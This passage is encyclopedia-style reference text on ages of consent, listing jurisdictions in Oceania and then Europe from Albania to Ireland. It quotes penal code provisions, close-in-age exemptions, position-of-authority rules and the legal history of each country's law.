Contraceptives in New Zealand are not age-restricted and are available to people under 16. A teen 12 years or older can be prosecuted for a consensual relationship with a teen under 16 (both parties if both are 12 years or older), although this is extremely rare. Even with a complaint, it is still up to police discretion and if the age difference is small it is rarely prosecuted, with family group conferences being the more likely option. There was an attempt to formalise this under law in 2004, however, this was abandoned after a public outcry. Before 2005, there was no law in New Zealand prohibiting any form of sexual relationship between adult women and male minors.
The sexual abuse of boys of any age, including rape, by adult women was fully legal in New Zealand until 2005. This is despite New Zealand having been party to international conventions against the exploitation of children since the 1980s. In 2003, swimming instructor Stacey Margaret Friel, 21, was reported to have had sex with a 13-year-old boy, but faced no charges at the time due to the lack of laws against sexual abuse of boys by women. Since the loophole in the laws was closed there have been a number of cases of women being prosecuted for sexual abuse of young boys, including a woman who gave birth to the child of an 11-year-old boy whom she had allegedly raped.
Tokelau
The age of consent is 16. Section 19 of the Crimes, Procedures and Evidence Rules, 2003 (CPER) reads: "1) A person who has carnal knowledge of another— [..] (i)(II)if the victim is under the age of 16 years, whether the victim consented or not [...] commits an offence." Section 21 reads:
"(1) A person who indecently assaults another commits an offence. (2) Where the victim is a mental defective or under the age of 16 years it is no defence to a charge under this rule that the person consented to the offence, or that the person charged believed that the person assaulted was sane or not under the age of 16 years as the case may be."
Niue
The age of consent in Niue is 15. This is established by article 164 of the penal code. Anal sex (buggery) is illegal.
Niue Act 1966
Okinotori Islands (Japan)
The Okinotori Islands are administratively under the government of Tokyo.
Palau
The age of consent in Palau is 17. There is a close in age exemption allowing 15 and 16 year-olds to have sex with partners less than 5 years older. Article § 1602 reads: a) A person commits the offense of sexual assault in the first degree if: (...) (3) The person knowingly engages in sexual penetration with a person who is at least fifteen years old but less than seventeen years old; provided that: (A) The person is not less than five years older than the minor; and (B) The person is not legally married to the minor".
Papua (Indonesia)
Papua New Guinea
In Papua New Guinea it is unlawful to have carnal knowledge of a girl under the age of 16. If the victim is aged 12 or more, it is a defence if the defendant "believed, on reasonable grounds" that the girl was aged 16 or older. It is a crime for any person to indecently deal with a boy under the age of 14 (section 211), and boys under the age of 17 are not deemed able to consent to acts by another male that, but for their consent, would be indecent assaults (section 243). Also having or allowing carnal knowledge "against the order of nature" is illegal at any age, as are acts of "gross indecency" between males (sections 210 and 212).
Pitcairn Island (United Kingdom)
The current age of consent appears to be 16, as a 1999 case involved a New Zealand tourist convicted of "unlawful carnal knowledge" of a girl of 15 (this will be confirmed once The Pitcairn Constitution Order 2010 comes into effect). However the Pitcairn sexual assault trial of 2004 involved mostly charges of rape or sexual assault, not "underage sex" (and some "gross indecency with a child under 14" charges), although it was claimed during the trial that (presumably consensual) "underage sex" with girls from the age of 12 was normal on Pitcairn.
Samoa
The age of consent in Samoa is 16, per Section 59. Sexual conduct with young person under 16, of the Crime Act 2013. Homosexual acts are illegal regardless of age (Section 67. Sodomy).
Solomon Islands
The age of consent in the Solomon Islands is 15 (sections 141, 142 & 143), but homosexual sex is illegal at all ages (sections 160, 161 & 162). Further, section 140 prohibits taking a girl under 18 out of the care of her parents or guardian for the purpose of sexual intercourse, while section 144 prohibits procuring a girl under 18 for sexual intercourse.
Tonga
The age of consent in Tonga is 15.
Section 121
Carnal knowledge of child or young person
[...]
(2) Any person who carnally knows any young person under the age of 15 years shall be liable on conviction thereof to imprisonment for 5 years
Section 124
Indecent assault
[...]
(5) A young person under the age of 15 years cannot in law give any consent which would prevent an act being an indecent assault for the purposes of this section.
Tuvalu
The age of consent in Tuvalu is 15 (sections 133, 134 & 135), but homosexual sex is illegal at all ages (sections 153, 154 & 155). Further, section 132 prohibits taking a girl under 18 out of the care of her parents or guardian for the purpose of sexual intercourse, while section 136 prohibits procuring a girl under 18 for sexual intercourse.
United States (Hawaii and Pacific territories)
Hawaii
The age of consent in Hawaii is 16 years old. There is however a close in age exemption, which allows those aged 14 and 15 to consent to sex with those less than five years older.
Previously the age of consent was 14, the lowest in the United States. Avery Chumbley, a member of the Hawaiian Senate, had made efforts to raise the age of consent since 1996. The age of consent was changed to 16 by Act 1, House Bill 236, passed by the Legislature of Hawaii in 2001.
Hawaii first established age of consent for contact/penetration as 10/14 years old in 1869 which lasted until 1912. The legal status from 1913-1924 is unclear, but by 1925 it was set to the higher numbers of
12/16. In both sets of laws these penalties only penalized males contacting females. In 1974 the laws were changed to add the additional requirement that there was a "reckless infliction" of "serious" bodily harm. This requirement was removed in 1986 and the wording was changed to apply to persons of any gender, not only males.
American Samoa
It is an offence in American Samoa to engage in sexual acts with a person under the age of 16.
Guam
The age of consent in Guam is 16.
§ 25.25. Third Degree Criminal Sexual Conduct.
(a) A person is guilty of criminal sexual conduct in the third degree if
the person engages in sexual penetration with another person and if any of
the following circumstances exists:
(1) that other person is at least fourteen (14) years of age and
under sixteen (16) years of age
(...)
Northern Mariana Islands
The age of consent in the Northern Mariana Islands is 16, according to Title 6, Sections 1306-1309 of the Commonwealth Code. There a close-in-age exemption permitting minors aged 13–15 to engage in sexual activity with those less than three years older. Under the same provisions, it is also illegal for any person aged 16 or older to aid, encourage, induce or causes minors under 13 to engage in any sexual activity, or minors aged 13–15 to engage in sexual activity with persons older than them by three years or more.
The age of consent rises to 18 when the older partner - being age 18 or older - is the parent, stepparent, adopted parent, or legal guardian of the younger person, or when the older partner has or occupies a position of authority over the younger person. This does not apply for minors aged 16 or 17 as long as the older partner is less than three years older and is not the younger person's parent, stepparent, adopted parent or legal guardian. According to section 1317, a position of authority "means an employer, youth leader, scout leader, coach, teacher, counselor, school administrator, religious leader, doctor, nurse, psychologist, guardian ad litem, babysitter, or a substantially similar position, and a police officer or probation officer other than when the officer is exercising custodial control" over a person under 18.
According to Section 1310, affirmative defenses for the crimes outlined in Sections 1306-1309 exists for consensual activity between legal spouses and for cases where the defendant reasonably believed that a minor age 13 or older was of legal age.
Sections 1303 and 1304 of the Commonwealth Code also criminalize sexual activity with persons aged 18 or 19, if they are "committed to the custody of the Department of Public
Health and Environmental Services under the Commonwealth’s civil or criminal laws, and the offender is the legal guardian of the person".
Pacific Remote Islands Marine National Monument
Baker Island, Howland Island, Jarvis Island, Johnston Atoll, Kingman Reef, Palmyra Atoll and Wake Island, are under the jurisdiction of the US federal government Department of the Interior, as part of the Pacific Remote Islands Marine National Monument. As such, all US federal laws regarding age of consent would be applicable.
Midway Atoll
Midway Atoll is under the jurisdiction of the US federal government Department of the Interior (administered as a National Wildlife Refuge). As such, all US federal laws regarding age of consent would be applicable.
Vanuatu
Since 1 January 2007 under the Criminal Consolidation Act 2006, the age of consent on Vanuatu is 15 for heterosexual conduct and 18 for homosexual conduct. Article 97 reads: (...) (2) No person shall have sexual intercourse with any child under the age of 15 years but of or over the age of 13 years. (3) It is no defence to a charge under this section that the child consented or that the person charged believed that the child was of or over the age in question.
Article 99 reads: No person shall commit any homosexual act with a person of the same sex under 18 years of age, whether or not that person consents.
Wallis and Futuna (France)
The laws of France where applicable apply.
See also
Age of consent reform
Age of consent
Ages of consent in Africa
Ages of consent in Asia
Ages of consent in Europe
Ages of consent in North America
Ages of consent in South America
Comprehensive sex education
LGBT rights in Oceania
Sex education
References
Australian criminal law
Law of New Zealand
Oceania
Adolescent sexuality in Oceania
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Ages of consent in Europe
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The ages of consent vary by jurisdiction across Europe. The unrestricted ages of consent – hereby meaning the age from which one is deemed able to consent to having sex with anyone else of consenting age or above – are between 14 and 18. Some countries have close-in-age exceptions that go as low as 12 if both parties engaging in sexual acts are under 18. The vast majority of countries set their unrestricted ages in the range of 14 to 16; only four countries, Cyprus (17), the Republic of Ireland (17), Turkey (18), and the Vatican City (18), set an unrestricted age of consent higher than 16. The laws can also stipulate which specific activities are permitted or specify the age at which one or other sex can legally participate. The highlighted age is that from which a young person can lawfully engage in a non-commercial sexual act with an older person, regardless of their age difference, provided the older one is not in a position of power, a relative, or is committing another form of exploitation (such as abuse of power or dependence). In some jurisdictions, including Italy and Hungary, there are exemptions if the age difference is within prescribed bounds. All jurisdictions in Europe have equal and gender-neutral age limits.
All jurisdictions in Europe per List of sovereign states and dependent territories in Europe:
International obligations
Neither the European Union nor the Council of Europe have suggested any specific age of consent, and there has not been any effort so far to standardize the age across member states. However, most countries in Europe now have binding legal obligations in regard to the sexual abuse of children under 18. The Lanzarote Convention, which was ratified, as of 2021, by all member states of the Council of Europe, and which came into effect in 2011, obliges the countries that ratify it to criminalize certain acts concerning children under 18, such as the involvement of such children in prostitution and pornography. Other acts that must be criminalized include:
The age of consent is called "the legal age for sexual activities" and must be chosen by states at the age they see fit. (No specific age is recommended.) As of February 2021, the convention has been ratified by all states of the Council of Europe.
In the European Union (EU 27), there is a directive regarding the sexual abuse of children under 18, known as Directive 2011/92/EU of the European Parliament and of the Council of 13 December 2011 on combating the sexual abuse and sexual exploitation of children and child pornography.
Albania
Since 2001, the age of consent in Albania is 14, regardless of gender and sexual orientation. In the case of a girl, however, sex is illegal if she is over 14 but has not reached "sexual maturity", as provided by article 100 of the criminal code.
Andorra
The age of consent in Andorra is 14, as specified by Article 147 of the penal code, which reads: (1) "Whoever carries out a sexual act with a person younger than fourteen years ... shall be punished with imprisonment for between three months and three years." Paragraph 2 states that if the sexual act involves sexual penetration the punishment is three to ten years.
As specified by Articles 148 and 149, it is illegal - regardless of age - for a person occupying a position of authority or superiority over a person to engage in sexual activity with them, or when it involves the abuse of trust or situation of need or dependence. The penalty is more severe when the subject is below the age of 18.
Armenia
The age of consent in Armenia is 16.
Article 141. Sexual acts with a person under 16.
Sexual intercourse or other sexual acts with a person obviously under 16, by a person who reached 18 years of age, in the absence of elements of crime envisaged in Articles 138, 139 or 140 of this Code, is punished with correctional labor for the term of up to 2 years, or with imprisonment for the term of up to 2 years.
Austria
The general age of consent in Austria is 14, as specified by Section 206 of the penal code. (The term unmündig is specified in Section 74 of the penal code.) Paragraph 4 of Section 206 defines a close-in-age exception, lowering the age of consent to 13 if the other party is not more than 3 years older and some additional conditions are met. Paragraph 4 of Article 207 increases this exception to 4 years, with a minimum age of 12, for sexual acts not amounting to sexual intercourse or other acts “that can be equated with sexual intercourse” - essentially non-penetrative sexual contact. It is subject to the same additional conditions of article 206 (for example, that the act does not cause serious bodily harm).
However, Section 207b of the penal code contains an exception to the general age of consent: if one of the partners is younger than 16 years of age and "not sufficiently mature to understand the significance of the act", then the act is punishable.
The offence "initiating sexual contacts with minors under 14 through the use of computer system" is punishable by two years' imprisonment (Section 208a Penal Code).
History
The Austrian Criminal Code previously specified 18 as the age of consent for male homosexual sex in which the other partner was aged 14–18, while no equivalent provision existed for heterosexual sexual conduct or in regards to female homosexuality; this was Section 209 of the Criminal Code. In November 1996, an amendment was put before the Austrian Parliament to remove Section 209; but the vote ended in a draw, and the amendment failed to pass. In July 1998, a similar amendment was put forward; it was voted down by the conservative majority. Section 209 came into force when homosexuality between males became legal in 1971.
On 24 June 2002, the Austrian Constitutional Court ruled that Section 209 was unconstitutional. The Section was later repealed on 14 August 2002. On 9 January 2003, the European Court of Human Rights held, in L & V v Austria, that Section 209 violated Articles 8 and 14 of the European Convention on Human Rights.
Azerbaijan
The age of consent in Azerbaijan is 16.
Article 152
Sexual intercourse with the person below the age of 16 years, as well as the same offences linked with satisfaction of sexual passion in perverted forms shall be punished by imprisonment up to 3 years.
Belarus
The age of consent in Belarus is 16, as specified by Articles 168 and 169, which read: "Sexual relations, sodomy, lesbian acts or other actions of sexual character of an adult, reached eighteen years of age, with a person who obviously has not reached sixteen years of age, at absence of attributes of the crimes stipulated by articles 166 and 167 present codes, are punished by restriction of freedom of two years to four years or by imprisonment of two years to five years." and "Dissolute actions accomplished by a person, reached eighteen years of age, concerning a person who obviously has not reached sixteen years of age, at absence of attributes of the crimes stipulated by articles 166, 167 and 168 present codes, are punished by arrest of about six months or imprisonment of one year to three years."
Belgium
The age of consent in Belgium is 16, as specified by Article 417/6 of the Criminal Code (Code pénal/Strafwetboek). There is a close-in-age exemption of three years age difference for sexual acts where at least one of the partners is 14 or 15.
History
The Belgian Criminal Code previously specified an age of consent of 18 for homosexual sex. This provision - Article 372bis - was added in 1965 and repealed in 1985.
Bosnia and Herzegovina
Sexual activity with children younger than 14 is illegal under Article 207, which prohibits sexual acts with a "child", and a "child" is defined in Article 2(8) as a person under 14. However, Article 209 mentions a "juvenile" who is defined in Article 2(9) as a person under 18, although it is not clear if this article refers only to sexual acts performed in view of a minor under 18 or if it can be used also to punish sexual acts performed with the minor:
Article 207, Sexual Intercourse with a Child: (1) Whoever performs sexual intercourse or equivalent sexual act on a child, shall be punished by imprisonment for a term between one and eight years.
Article 208, Meaning of Terms as Used in This Code: (8) A child, as referred to in this Code, is a person who has not reached fourteen years of age.
Article 209, Satisfying Lust in the Presence of a Child or Juvenile: Whoever, in the presence of a child or juvenile, performs acts aimed at satisfying his own lust or the lust of a third person, or whoever induces a child to submit to such acts in his presence or in the presence of a third person, shall be punished by imprisonment for a term between three months and three years.
Article 205: (2) prohibits sexual intercourse with a juvenile (defined as a person under 18) by "abuse of position".
Bulgaria
The age of consent in Bulgaria is 14, as specified by Articles 149 and 151 (1). However, Article 151 (2) has a provision for those who are over 14 and do "not understand the characteristics or the importance of the act":
Croatia
The age of consent for all sexual conduct in Croatia under the Criminal Code in force since 1 January 2013 is 15, regardless of gender and/or sexual orientation, and is regulated by Article 158.
(1) Whoever performs sexual intercourse with a child under fifteen years of age or induces a child to commit sexual intercourse with a third person, shall be liable to a term of imprisonment of three to twelve years.
(2) Whoever commits a lewd act with a child under fifteen years of age or induces a child to commit a lewd act on itself or with a third person, shall be punished by imprisonment for a term between one and eight years.
However, there is a close-in-age exemption of three years.
History
Before the year 2013, the legal age of consent in Croatia was 14. Homosexual acts were illegal until 1977, when Croatia, then as a Yugoslav Federal Republic, changed its Penal Code. The age of consent was equalised in 1998.
Cyprus
The age of consent for all sexual conduct in Cyprus under the 2002 Criminal Code is 17, regardless of sexual orientation or gender.
History
Until 1998, homosexual acts between men were entirely forbidden under Section 171 (1929). In 1989, Alecos Modinos, president of the Cypriot Gay Liberation Movement, brought a case to the European Court of Human Rights. In 1993, the Court held that the prohibition of homosexual acts was a violation of Article 8. In January 1995, the Cypriot Government introduced a Bill in the Cypriot Parliament that would have abolished the ban. Strong opposition from the Eastern Orthodox Church meant the Bill stalled when referred to the Parliament's Legal Affairs Committee. The European Commission repeated its warning that Cyprus must follow the Court's ruling. In May 1997, again a government measure to repeal the ban failed because of the strength of the opposition. In April 1998, the Council of Europe set a deadline for compliance of 29 May 1998 and on 21 May 1998, the House of Representatives voted 36 to 8 in favour of legalising homosexual acts. However it was set at 18 while heterosexual acts remained at 16.
In 2002, under pressure from the EU the parliament finally ended the disparate provisions and changed the age of consent to 17 for both heterosexual and homosexual acts, under the revised Criminal Code.
Akrotiri and Dhekelia
For both of these Sovereign Base Areas (British military enclaves) on the island of Cyprus, the age of consent is 16.
Northern Cyprus
Northern Cyprus (Areas of the Republic of Cyprus that are currently occupied by Turkey - see the Turkish invasion of Cyprus) has an age of consent of 16 as designated in the Penal Code (Ceza Yasası, Art. 153 & 154).
History
Prior to 2014, sodomy was illegal, the age of consent only applied to females and sexual contact with a female between the ages of 13 and 16 was a misdemeanor. As of 2014, the age of consent is 16 for both males and females, sexual contact with any child under 16 regardless of gender is a felony and the ban on sodomy is lifted, thereby legalizing homosexual sex.
Czech Republic
The age of sexual consent in the Czech Republic is 15.
Additionally, the section of the Czech penal code 40/2009 Sb. covering "crimes against family and children" contains § 202 which criminalizes a "seduction to sexual intercourse" of any persons under 18 years by any promise or provision of payment, benefit, privilege or profit, for sexual intercourse, masturbation, exposure or similar behavior. This regulation was added to the old Czechoslovak penal code (140/1961 Sb.) adopted by the Czech Republic as § 217a by the amendment Czech act No. 218/2003 Sb. effective from 2004 January 1. This also covers cases when there is any kind of trust or dependence, for example, teacher-student, employer-employee.
History
The age limit in the Austrian Empire was 14 years under § 128 of the Empire's Penal Code of 1852. Homosexual sexual intercourse and sexual intercourse with animals were generally grouped in as "crime against nature" by § 131.historic The Austrian Penal Code was replaced in Czechoslovakia in 1950. The Czechoslovak Penal Code 86/1950 Sb. in § 239 raised the limit to 15 years. Almost identical regulation was contained in the Czechoslovak penal under code 140/1961 Sb., which in § 242 reads: "A person who has coitus with a person under fifteen (15) years of age or who sexually abuses such a person in any other way shall be sentenced to imprisonment for at least one and at most eight years." The new Czech Penal Code (40/2009 Sb., effective from 2010 January 1) contains a similar regulation: § 187. Around 2008 and 2009, the lowering of the limits of criminal responsibility as well as sex acts age limits from 15 to 14 years was passed in Parliament in the new Penal Code 40/2009 Sb. effective from 1 January 2010. Both changes were criticized. Before coming into effect, the amendment act 306/2009 Sb. changed both limits back to 15 years.
Until 1962, homosexual sexual intercourse was illegal in Czechoslovakia. The Czechoslovak 140/1961 Sb. Penal Code, introduced in that year, still contained as a crime "Sexual intercourse with a person of the same sex" (§ 244) but covered only persons older than 18 years of age who had intercourse with a person younger than 18. Between adults, payment receipt or provision and public nuisance were criminalised. In 1990, article § 244 was repealed in its entirety by the Czechoslovak Act 175/2009 Sb, from 2009-07-01.
Denmark
The age of consent in the Kingdom of Denmark is 15 as specified by Section 222:
§ 222. Whoever has sexual intercourse with a child under the age of 15, shall be punished by imprisonment for up to 8 years, unless the situation is covered by § 216 paragraph 2. In determining the penalty, it shall be an aggravating circumstance if the perpetrator has gained intercourse by exploiting his physical or mental superiority.
Section 223, part 1, reads: "Any person who has sexual intercourse with any child under 18, who is said person's adopted child, stepchild or foster child, or who is entrusted to said person for education or upbringing, will be liable to imprisonment for any term not exceeding four years", this includes teachers. Further, part 2 of § 223 establishes that the same punishment is applicable to any person found to have grossly exploited their age and experience based superiority over a person under the age of 18 to seduce said minor into intercourse.
The laws in the Faroe Islands and Greenland are equivalent although regulated in separate penal codes for these autonomous countries.
History
Male homosexual acts were legalised in Denmark (lesbianism was never illegal) with an age of consent set at 18, after a major reform of the Penal Code in 1930; At the same time, the age of consent for heterosexual acts was raised from 12 to 15. In 1976, the age of consent was harmonized at 15 for all acts . Sex with a child under the age of 12 results in double punishment, and sex with a minor under 18 is illegal for a person in charge of the child.
Until 1866, "acts against nature" [anal intercourse] were punishable with the stake. However, until the late 18th century the rule was never used, and, when it came into effect, the convicts were always sentenced to 7 years in jail. This became the punishment introduced in the Penal Code 1866, but now only for homosexual acts.
In 1969, Denmark became the first country to legalise pictorial pornography, but this did not affect laws related to the age of people participating in its production. Consequently, the legal age of consent (15) equaled the limit for pornography produced within the country, but material produced in other countries (where the Danish consent law does not apply) was not covered and therefore legal. In 1980 it became illegal to sell, spread or possess pornography involving children under the age of 15, regardless of its country of origin (Danish Penal Code §235). The limit was later changed to 18 years, which is the standing law today, although it remains legal for a person over the age of 15 to take their own nude photos, as long as they are only shared with friends (for example with a boyfriend or girlfriend), the receiver explicitly has received the right to possess them, and they are not shared or spread any further. In the period between the legalisation of pornography and the 1980 amendment to the Danish Penal Code, some companies (infamously Color Climax) exploited the lack of age restrictions on material produced in other countries.
Estonia
The age of consent in Estonia is 16, as specified by Section 145 of the Criminal Code of Republic of Estonia (sexual intercourse or other act of sexual nature with a child), which reads: "(1) Engaging in sexual intercourse or any other acts of sexual nature with a person under sixteen years of age by an adult person, unless the age difference between the adult person and the person between fourteen and sixteen years of age is not more than five years, is punishable by up to five years’ imprisonment." Aggravated circumstances exist if the child is under 14 or if the perpetrator is a repeat offender. The most serious punishment is if the victim is under 10 years of age, as Section 147 states: "Within the meaning of the offences provided for in this Subchapter [Subchapter 7 Offences against Sexual Self-determination], a person is deemed to be incapable to comprehend if he or she is less than ten years of age." The age of consent was raised from 14 to 16 in June 2022 (with a close in age exemption of 5 years for 14 and 15 years olds), and the marriageable age was raised from 15 to 18 effective as of November 1, 2022.
History
Until 1992, male homosexual sex was illegal, the Estonian SSR Penal Code, Article 118, forbidding "anal intercourse between men". When regaining independence from USSR in 1991, the age of consent for male homosexual intercourse was set at 16, whereas the age for heterosexual intercourse with female was 14. There was no age of consent for heterosexual intercourse with male. The age of consent was harmonized in 2002 when Estonia adopted its first Penal Code after restoring its independence, specifying an equal age of consent at 14 years.
Finland
The age of consent in Finland is 16, as specified by Section 6(1) (Sexual abuse of a child), which reads: "A person who has sexual intercourse with a child younger than sixteen years of age ... shall be sentenced for sexual abuse of a child to imprisonment for at most four years."
The sexual act may not be punishable if "there is no great difference in the ages or the mental and physical maturity of the persons involved".
The age is 18 when in connection with a person who has some formal power over the young person, like a school teacher.
History
Until 1971, homosexual acts were prohibited. After decriminalisation, the age of consent was set to 18 for homosexual acts and 16 for heterosexual acts.
In 1999, the age of consent was harmonized at 16 for all sexual acts.
Åland Islands
According to the Åland Treaty, Finnish national law is applied as the minimum standard. The age of consent is therefore 16.
France
The minimum age of consent in France is 15, as specified by Article 227-25 of the Penal Code, which reads; "Except in the cases of rape or sexual assault provided for in Section 3 of Chapter II of this Title, the act of sexual assault on a minor under the age of fifteen for an adult is punishable by seven years' imprisonment and a fine of €150,000."
Article 222-22 defines sexual assault as “any sexual assault committed with violence, coercion, threat, or surprise”. Article 222-22-1 then specifies that coercion can be either physical or moral. The moral coercion or surprise may result from the authority of law or fact that an adult has over a minor, and this de facto authority “may be characterized by a significant age difference between the minor victim and the adult perpetrator”.
Article 227-22 prohibits “promoting or attempting to promote the corruption of a minor”, as well as "organizing meetings involving indecent exposure or sexual relations knowing that minors are present or participating". (Minors refers to under 15s; the text of the article can be subject to interpretation).
Article 227-22-1 prohibits the "soliciting of a minor under the age of fifteen, or a person pretending to be such minor, for sexual purposes through the use of a computer system".
Article 227-27 prohibits sexual relations with minors over age 15 (aged 15, 16 or 17) "1° where they are committed by an ascendant or by any other person having a legal or factual authority over the victim; 2° where they are committed by a person abusing the authority conferred by his functions."
In 2021 the French law was amended so that any sexual activity with a person below 15 is automatically classified as rape or sexual assault, unless the other party is within five years of age as per a Romeo and Juliet clause. However, this five year exception was not extended to Article 227–25, which carries a potential 7-year sentence of imprisonment. Additionally, the law categorizes as rape any sex with a relative below 15 years of age.
History of homosexual laws
Male homosexual acts were illegal until 1791, when the ancient sodomy laws were dropped from the Criminal Code of that year. This continued to be the case under the Napoleonic Code of 1810.
The age of consent was set at 11 in 1832 and at 13 in 1863. In 1942, the age of consent for homosexual acts was set at 21, while for heterosexual acts it was still 13. The latter was increased to 15 in 1945. In 1974, the age for homosexual acts was lowered to 18. In 1982, it was further lowered to 15, in line with that for heterosexual acts.
Georgia
The age of consent in Georgia is 16 as per Georgian Penal Code Art. 140, and Art. 141.
Germany
The age of consent in Germany is 14, as long as a person over the age of 21 does not exploit a 14- to 15-year-old person's lack of capacity for sexual self-determination, in which case a conviction of an individual over the age of 21 requires a complaint from the younger individual; being over 21 and engaging in sexual relations with a minor of that age does not constitute an offense by itself. Otherwise the age of consent is 16, although provisions protecting minors against abuse apply until the age of 18 (under Section 182(1): it is illegal to engage in sexual activity with a person under 18 "by taking advantage of an exploitative situation").
This is specified by Sections 176 (Sexual abuse of children), 180 (Promotion of sex of minors) and 182 (Sexual abuse of youths) of the Penal Code, which read:
§ 176: "(1) Punished by imprisonment at least one year (and not more than fifteen years pursuant to § 38) shall whoever
commits sexual acts on a person under fourteen (14) years of age (a child) or allows them to be committed on themself by the child,
induces a child to commit sexual acts on a third person or to allow them to be committed on the person by a third person, or [...]"
§ 180: "(1) Whoever abets the commission of sexual acts of a person under sixteen years of age on or in front of a third person or sexual acts of a third person on a person under sixteen years of age":
by acting as an intermediary; or
by furnishing or creating an opportunity,
shall be punished with imprisonment for not more than three years or a fine. [...]"
§ 182: "(3) A person over twenty-one years of age who abuses a person under sixteen years of age, in that he:
commits sexual acts on the person or allows them to be committed on himself by the person; or
induces the person to commit sexual acts on a third person or to allow them to be committed on the person by a third person,
and thereby exploits the victim's lack of capacity for sexual self-determination, shall be punished with imprisonment for not more than three years or a fine. [...] The act shall only be prosecuted upon complaint, unless the prosecuting authority considers ex officio that it is required to enter the case because of the special public interest therein. [...] The court may dispense with punishment pursuant to these provisions if, in consideration of the conduct of the person against whom the act was directed, the wrongfulness of the act is slight."
History
The current rules for age of consent in Germany were set following a post-reunification penal law reform in 1994. The ages of 14 and 16 had been relevant since the Criminal Code for the German Empire came into force in 1872: Under § 176, sexual acts with children under 14 were illegal and have been always since. Under § 182, seduction of an "unblemished girl under the age of 16" was prosecuted upon complaint of parents or legal guardian only. In West Germany the latter rule was kept, with minor changes in 1973: Unblemishedness was no longer required, and the court could refrain from punishment if the offender was under 21 years of age. The German Democratic Republic, by contrast, created a new socialist criminal code in 1968. Under § 149, sexual acts with persons of the opposite sex between the ages of 14 and 16 were punishable if the victim's "moral immaturity" was exploited by using "gifts, the promise of benefits or similar" methods of persuasion "to initiate intercourse or actions similar to intercourse".
Male homosexuality had been illegal under § 175 regardless of age since 1872. Female homosexuality was not prosecuted. In West Germany, male homosexuality was legalized in 1969. The age of consent was set to 21 years and reduced to 18 years in 1973. Only men of 18 or older could be offenders and courts could refrain from punishment if the offender was not yet 21. In East Germany, the criminal code was supplemented in 1957 by a provision that allowed the waiving of prosecution if no harm had been done to socialist society by the unlawful act. Concerning § 175, this meant that male homosexual acts were prosecuted only if they involved minors, which meant persons under 18. The new criminal code of 1968 officially legalized homosexuality and in § 151, which now was gender-neutral, criminalized only homosexual acts of adults with minors. In 1987 the GDR supreme court ruled homosexuality was a variant of sexual behaviour just as heterosexuality. In 1989 § 151 was repealed and § 149 amended to include any sexual orientation.
After German reunification, according to the Unification Treaty of 1990, the § 149 code section stayed in force for the territory of the former GDR, and in West Germany, § 175 and § 182 were no longer enacted. West German lawmakers also saw the need for gender- and sexual-orientation-neutrality, and for rebalancing sexual self-determination with the protection of minors. In the ensuing 1994 reform, the minimum age of 14 for all of Germany was kept, and in building on legal traditions of both states, sexual acts committed by a person above 21 with a minor under 16 involving exploitation of the minor's individual lack of capacity for sexual self-determination were made punishable in new § 182. § 175 was abolished. In general, the need for a complaint from the former West German law was kept, but in the case of special public interest, the offence was made prosecutable ex officio, as had been the case in East German law.
Greece
The age of consent in Greece is 15.
The general provision for age of consent in Greece is 15 as specified by Article 339, as well as Articles 337, 348B of the Greek Penal Code. In 2015, along with the legalization of same-sex civil unions, Article 347 which provided a further prohibition of seducing a male under 17 if the actor is a male adult was repealed, therefore equalising age of consent for homosexual acts.
There are also several other prohibitions regarding positions of authority and sexual acts, as specified by Articles 342 and 343. Furthermore, there is a close-in-age exemption of 3 years age difference for sexual acts between persons younger than 15.
Hungary
The age of consent in Hungary is 14. A close-in-age exemption allows sexual acts from age 12 if the older party is under 18.
The new criminal code in force since 1 July 2013 reads:
"The person who has completed their eighteenth year who has sexual intercourse with a person who has not yet completed their fourteenth year, commits a felony and shall be punishable with imprisonment from one year to five years".
"The person who has sexual intercourse with a person who has not yet completed their twelfth year, commits a felony and shall be punishable with imprisonment from five years to ten years".
History
Until 1961, homosexual acts were illegal. After decriminalisation, the age of consent for homosexual acts was 20 and remained so until 1978. From then, until 1999, the age of consent for such acts was 18, as specified by Section 199. In 2002, the Hungarian Constitutional Court repealed Section 199, and the age of consent for homosexual acts was lowered to 14 in line with heterosexual acts.
Iceland
The age of consent in Iceland is 15, as specified by Section 202 of the Icelandic Penal Code, which reads: "Anyone who has carnal intercourse or other sexual intimacy with a child younger than 15 years shall be subject to imprisonment for at least 1 year and up to 15 years." The age of consent was raised from 14 to 15 in 2007.
Ireland
The age of consent in the Republic of Ireland is 17, in relation to vaginal or anal sex, and vaginal or anal penetration. This is the joint highest, with (Southern) Cyprus, age of consent in the European Union.
Relevant offences are found in the Criminal Law (Sexual Offences) Act 2017, which amended the Criminal Law (Sexual Offences) Act 2006. Sentences are longer for offences on children under 15, for repeat offences and where the offender is an authority-figure such as a close relative or teacher. In the case of offences with children aged 15 and 16, the relevant statute, Sexual act with child under 17 years of age, provides that "8) Where, in proceedings for an offence under this section against a child who at the time of the alleged commission of the offence had attained the age of 15 years but was under the age of 17 years, it shall be a defence that the child consented to the sexual act of which the offence consisted where the defendant—(a) is younger or less than 2 years older than the child,(b) was not, at the time of the alleged commission of the offence, a person in authority in respect of the child, and (c) was not, at the time of the alleged commission of the offence, in a relationship with the child that was intimidatory or exploitative of the child."
History
Prior to the 1922 independence of the Irish Free State, the law in Ireland was that of the United Kingdom of Great Britain and Ireland (see the UK history section). Anal sex was illegal under the Offences against the Person Act 1861, while the Criminal Law Amendment Act 1885 criminalised "Defilement of girl between thirteen and sixteen years of age", with more severe penalties for "Defilement of girl under thirteen years of age". The 1930 Carrigan Report into child sex abuse and underage prostitution recommended raising the age of consent to 18 years. The Criminal Law Amendment Act 1935 raised the age to 17, with more severe penalties under age 15, and disallowed a defence of mistake. The law on child sex abuse, including the age of consent, was the subject of a 1989 consultation paper and 1990 report by the Law Reform Commission (LRC). The Criminal Law (Sexual Offences) Act 1993 decriminalised male homosexual acts and created offences of "Buggery of persons under 17 years of age" and "Gross indecency with males under 17 years of age". In 2006, the 1935 law was struck out when the Supreme Court found that its prohibition of the mistake defence violated a defendant's Constitutional rights. The Criminal Law (Sexual Offences) Act 2006, quickly passed within the scope of the Supreme Court's judgment, replaced the 1935 and 1993 offences with the current ones. The exemption for girls under 17 was recommended by the LRC and the Director of Public Prosecutions who felt "it would be wrong to stigmatise mothers and pregnant girls of 15 or 16 years of age as if they were either the victims of violent rape or they had committed a crime". While this was controversial, the Minister pointed out that the previous law had not criminalised any sex act by a girl under 17. The 2006 report of the Oireachtas Joint Committee on Child Protection recommended changing the age of consent to 16, and 18 with a person in authority. It advised that close-in-age cases should remain criminalised, but with more lenient guidelines for sentencing. It also recommended wider publicity of the age limits. Most of the changes were implemented in 2017, although the age of consent remained 17.
Italy
